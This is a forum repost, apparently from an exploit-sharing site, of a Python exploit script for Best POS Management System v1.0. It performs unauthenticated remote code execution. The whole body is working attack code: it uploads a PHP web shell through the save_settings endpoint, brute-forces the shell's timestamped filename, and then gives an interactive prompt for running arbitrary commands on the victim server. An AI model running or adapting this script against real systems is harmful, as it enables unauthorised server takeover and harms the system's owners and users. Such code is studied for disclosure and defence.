Exploit Best POS Management System v1.0 - Unauthenticated Remote Code Execution

Exploiter · 21 Июл 2024

Best POS Management System v1.0 - Unauthenticated Remote Code Execution

Код:

# Exploit Title: Best POS Management System v1.0 - Unauthenticated Remote Code Execution
# Google Dork: NA
# Date: 15/5/2023
# Exploit Author: Mesut Cetin
# Vendor Homepage: https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/mayuri_k/kruxton.zip
# Version: 1.0 
# Tested on: Kali Linux 

import sys
import requests
import subprocess
import time

if len(sys.argv) < 2:
    print("\033[91mUsage: %s <IP>\033[0m" % sys.argv[0])
    print("Example: %s 192.168.106.130" % sys.argv[0])
    sys.exit(1)

ip = sys.argv[1]
url = f"http://{ip}/kruxton/ajax.php?action=save_settings"

def brute_force_timestamp(timestamp_prev, ip):
    progress = 0
    webshell = None

    for i in range(20):
        for j in range(0, 1000, 20):
            timestamp = timestamp_prev - (timestamp_prev % 1000) + j + i
            url = f"http://{ip}/kruxton/assets/uploads/{timestamp}_shell.php"

            response = requests.get(url)
            if response.status_code == 200:
                webshell = url
                break

            progress += 1
            print(f"Attempt {progress}/400", end="\r")
            time.sleep(0.1)

            if progress >= 400:
                break

        if webshell or progress >= 400:
            break

    if webshell:
        print("\033[92m[+] Webshell found:", webshell, "\033[0m")
    else:
        print("\033[91m[-] Webshell not found\033[0m")

    return webshell

def get_unix_timestamp():
    timestamp = subprocess.check_output(['date', '+%s']).decode().strip()
    return int(timestamp)

def extract_output(response_text):
    start_tag = "<pre>"
    end_tag = "</pre>"
    start_index = response_text.find(start_tag)
    end_index = response_text.find(end_tag)

    if start_index != -1 and end_index != -1 and start_index < end_index:
        output = response_text[start_index + len(start_tag):end_index]
        return output.strip()

    return None

def code_execution(webshell):
    if not webshell:
        print("\033[91mWebshell URI not provided\033[0m")
        return

    while True:
        command = input("Enter command to execute (or 'exit' to quit): ")
        if command == 'exit':
            break

        url = webshell + f"?cmd={command}"
        response = requests.get(url)

        output = extract_output(response.text)
        if output:
            print("\033[93m[+] Output:\033[0m")
            print(output)
        else:
            print("\033[91m[-] No output received\033[0m")

data = '''\
-----------------------------49858899034227071432271107689
Content-Disposition: form-data; name="name"

test
-----------------------------49858899034227071432271107689
Content-Disposition: form-data; name="email"

[email protected]
-----------------------------49858899034227071432271107689
Content-Disposition: form-data; name="contact"

9000000000
-----------------------------49858899034227071432271107689
Content-Disposition: form-data; name="about"

test
-----------------------------49858899034227071432271107689
Content-Disposition: form-data; name="img"; filename="shell.php"
Content-Type: application/x-php

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
</html>

-----------------------------49858899034227071432271107689--'''

headers = {
    'Host': f"{ip}",
    'X-Requested-With': 'XMLHttpRequest',
    'Content-Type': 'multipart/form-data; boundary=---------------------------49858899034227071432271107689',
    'Content-Length': str(len(data)),
    'Connection': 'close'
}

timestamp_prev = get_unix_timestamp()
response = requests.post(url, data=data, headers=headers)

if response.status_code == 200 and response.text == '1':
    print("[+] Timestamp: %s" % timestamp_prev)
    print("\033[92m[+] Successly uploaded shell! Unauthenticated! \033[0m")
    webshell = brute_force_timestamp(timestamp_prev, ip)
    code_execution(webshell)
    
else:
    print("Did not worked")

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Exploit Best POS Management System v1.0 - Unauthenticated Remote Code Execution

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